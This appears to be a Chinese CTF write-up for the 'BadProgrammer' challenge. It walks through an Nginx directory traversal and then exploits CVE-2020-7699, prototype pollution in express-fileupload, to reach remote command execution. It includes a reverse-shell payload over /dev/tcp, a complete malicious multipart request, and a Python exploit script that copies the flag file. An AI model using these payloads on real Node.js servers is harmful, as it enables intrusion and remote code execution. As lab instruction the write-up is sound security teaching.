首页 > 其他分享 >【攻防世界】BadProgrammer

【攻防世界】BadProgrammer

时间:2024-07-10 10:22:23浏览次数:10  
标签:攻防 process app express 世界 flag static BadProgrammer txt

BadProgrammer

题目来源

攻防世界  NO.GFSJ0986

题目描述

打开网址页面如下,没有什么有用信息

img

dirsearch扫一下目录,发现/static../(用御剑扫不出来)

img

其实这是一个Nginx配置错误的目录遍历漏洞,用AWVS也可以扫出来

img

题解

访问/static../

img

查看app.js,返回以下代码

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
}); 

访问/4_pATh_y0u_CaNN07_Gu3ss

img

看到flag在 flag.txt 中,但是无法直接访问到 flag.txt

这里需要掌握express-fileupload中间件漏洞:CVE-2020-7699。
该漏洞存在于express-fileupload版本低于1.1.9(不包含),在package.json中可以看到其版本为1.1.7,可以利用该漏洞

img

该漏洞原理分析:https://www.freebuf.com/vuls/246029.html

通用payload如下:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x

如果有vps的同学可以尝试反弹shell到有公网ip的机器,这里我们直接将payload改为

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

构造请求报文,注意不要随意删除或添加空行

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:53137
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 289


-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

-----------------------------1546646991721295948201928333--

该请求的Content-Type必须为 multipart/form-data
发送该请求包后,flag.txt将被复制到static/js下,即可得到flag。

若构造该请求包有难度,也可以使用requests库进行请求

import requests

resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '53137', '4_pATh_y0u_CaNN07_Gu3ss'),
        files={'__proto__.outputFunctionName': 
        (
            None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
        )})

print(resp1)

标签:攻防,process,app,express,世界,flag,static,BadProgrammer,txt
From: https://www.cnblogs.com/MrSoap/p/18293340

相关文章

  • 开启新纪元!被AI驱动的游戏世界,提升游戏体验
     随着人工智能的高速发展,人工智能逐渐应用到了生活中的方方面面,人工智能在游戏中也有诸多应用,在游戏里领域扮演了相当重要的角色。游戏AI是伴随着电子游戏而出现的,在早期的游戏中就出现了对抗类AI角色,后来逐渐出现了更复杂的NPCAI,除通常理解的游戏AI之外,语音、视觉、机器学习......
  • 解码Python字符串:拯救失落的字符世界!
    一、字符串的定义在Python中,字符串可以用单引号('')或双引号("")括起来定义。例如:s='HelloWorld!'print(s)输出:HelloWorld!你还可以使用三重引号('''或""")来定义多行字符串。但大多数时候三重引号用来注释文档例如:s='''HelloWorld!''&#......
  • Altair携手奇瑞汽车,荣获2024世界人工智能大会“AI赋能新型工业化创新应用优秀案例”
    2024年7月4-7日,2024世界人工智能大会(WAIC)在上海世博中心成功举办。4日下午,“AI赋工业,数智启未来—人工智能赋能新型工业化主题论坛”在上海世博中心召开。Altair携手奇瑞汽车股份有限公司申报的“基于AI的降阶建模实现新能源汽车高低温续航高效集成仿真”案例在本次大会中......
  • c++我的世界代码(亲测有效)
    #include<iostream>#include<conio.h>#include<string>#include<map>#include<cmath>#include<windows.h>#include<time.h>#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)void......
  • 【日记】我就是世界上最幸福的人!(1124 字)
    正文今天想写的内容有点多,就不写在纸上了。首先,最高兴的,还是我们的《艾尔登法环》有了进展。我和兄长终于通过了“火山官邸:地底拷问所”。我真是不知道,我和他在这个地方被那两个掳人少女人拷问了多少次了。不仅如此,拉塔恩也打过了,去了亚坛高原,反正进展很大。周六......
  • AI Agent技术的最新进展与改变世界的典型项目巡礼
    AIAgent技术的最新进展与改变世界的典型项目巡礼1.AIAgent技术发展以及典型项目1.0前AIAgent时代在学术探索的浩瀚星空中,机器人技术领域的璀璨明珠莫过于Agent技术的深入研究,这一领域历来是创新与突破的温床。回溯至大模型浪潮兴起之前,Agent技术的辉煌篇章便已悄然铺......
  • Guitar Pro8.2吉他打谱神器,轻松创作你的音乐世界!#吉他 #打谱神器 #GuitarPro #音乐爱
    嗨,亲爱的吉他手们!......
  • 【攻防技术系列+代理转发】工具--netcat
    【需求】现在想要实现两个不同网段的私网之间相互通信,我们该如何做呢?......
  • 走进IT的世界
    引言随着高考的结束,对于即将踏入IT(信息技术)领域的新生而言,这个假期不仅是放松身心的时间,更是提前规划、深化专业知识、为大学生活奠定坚实基础的宝贵机会。以下是一份详尽的高考假期预习与规划指南,旨在帮助IT专业的新生们充分利用这段时间,为未来的学习之路做好充分准备。......
  • 【大数据】—FIFA世界杯探索性分析(EDA)
    引言足球,作为全球最受欢迎的运动之一,拥有庞大的粉丝群体和深远的文化影响。自1930年首届FIFA世界杯举办以来,这项赛事已经成为全球体育盛事,吸引了数十亿观众的目光。世界杯不仅是各国足球技艺的较量,更是国家荣誉和民族自豪感的体现。随着大数据时代的到来,我们有机会从新的视......